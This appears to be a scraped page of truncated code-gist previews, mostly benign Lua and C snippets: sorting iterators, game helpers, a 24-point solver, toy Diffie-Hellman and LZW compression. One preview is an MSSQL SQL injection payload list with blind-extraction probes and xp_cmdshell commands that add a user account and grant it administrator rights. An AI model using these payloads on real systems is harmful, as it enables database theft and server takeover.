This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--按照table中数值key的升序或者降序遍历table的迭代器 | |
--nSortType传1为降序,不传默认为升序 | |
--使用示例(降序遍历tbtest):for k, v in gf_PairsByKeys(tbtest, 1) do | |
function gf_PairsByKeys(tbArray, nSortType) | |
local tbkey = {} | |
for key, value in pairs(tbArray) do | |
if type(key) == "number" then | |
tbkey[#tbkey+1] = key | |
end | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
g_requireTeamNum = 6 | |
g_teamNumLowLimit = 3 | |
g_teamNumHighLimit = 7 | |
--[[ | |
[1] = { | |
["teamLink"] = {}, | |
["totalNum"] = 4, | |
["state"] = 1, --1代表不需要匹配,其他为需要匹配 | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local http = require "socket.http" | |
local json = require "json" | |
local pfile = io.open("province", "w") | |
local cfile = io.open("city", "w") | |
local dfile = io.open("district", "w") | |
local provinces = {} | |
local citys = {} | |
local districts = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// write by XiongYi | |
TreeLinkNode *GetNextNode(TreeLinkNode *root, int seq_req) { | |
int seq_init = 1; | |
while (seq_init < seq_req) { | |
if (IsInLeft(seq_init, seq_req)) { | |
root = root->left; | |
seq_init = seq_init * 2; | |
} | |
else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--激活码生成代码 1.0 beta版 | |
--creator: caiyiheng | |
--需要和这次排重的前缀: | |
--PT,VP,WB,WL,SE,WY,TX,XX,GM,DG,DH,RA,RB,RC,EX,XL,GP,GZ,PP,PZ,HD,HG,WX,AW,B1,B2,B3 | |
local new_code = { | |
[73] = { "备用1.txt", "XX", 10000000 }, | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int nState = m; | |
int mask1 = OLD_STATE; | |
int mask2 = DEST_STATE; | |
for (int i = 0; i < nPos; ++i) | |
{ | |
mask1 = mask1 << nBit; | |
mask2 = mask2 << nBit; | |
} | |
nState = nState ^ mask1; | |
nState = nState | mask2; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
id=1 and 1=1 | |
id=1 and 1=2 | |
id=1 and db_name()>0 | |
id=1 and user>0 | |
id=1 and (select count(*) from xx)>0 | |
id=1 and (select cout(xxx) form xx)>0 | |
id=1 and (select top 1 len(xxx) from xx)>0 ->1,2,3...... | |
id=1 and (select top 1 asc(mid(xxx,1,1)) form xx)>0 -> 1-128 | |
id=1;exec master..xp_cmdshell "net user username passwd /add"-- | |
id=1;exec master..xp_cmdshell "net localgroup username administrators /add"-- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--[[ | |
24点解法:4个数字的逆波兰式形式只有以下5种。1代表数字,+代表运算符,括号隐藏在逆波兰式的形式中 | |
1111+++ | |
111+1++ | |
111++1+ | |
11+11++ | |
11+1+1+ | |
]] | |
local target = 24 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--[[ | |
diffie-hellman算法简单代码 | |
]] | |
local low = 10 --约定的随机数集合 | |
local high = 20 | |
local Alice = {} | |
function Alice:CreateSecret() | |
self.g = 2 | |
self.p = 1019 --素数 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function lzwCode(szSource, nBeginCode) | |
local tbOutput = {} | |
local tbChar = {} | |
local szPrefix = "" | |
local tbToken = {} | |
local nTokenCode = nBeginCode | |
for szChar in string.gmatch(szSource, ".") do | |
tbChar[szChar] = true | |
if szPrefix == "" then | |
szPrefix = szChar |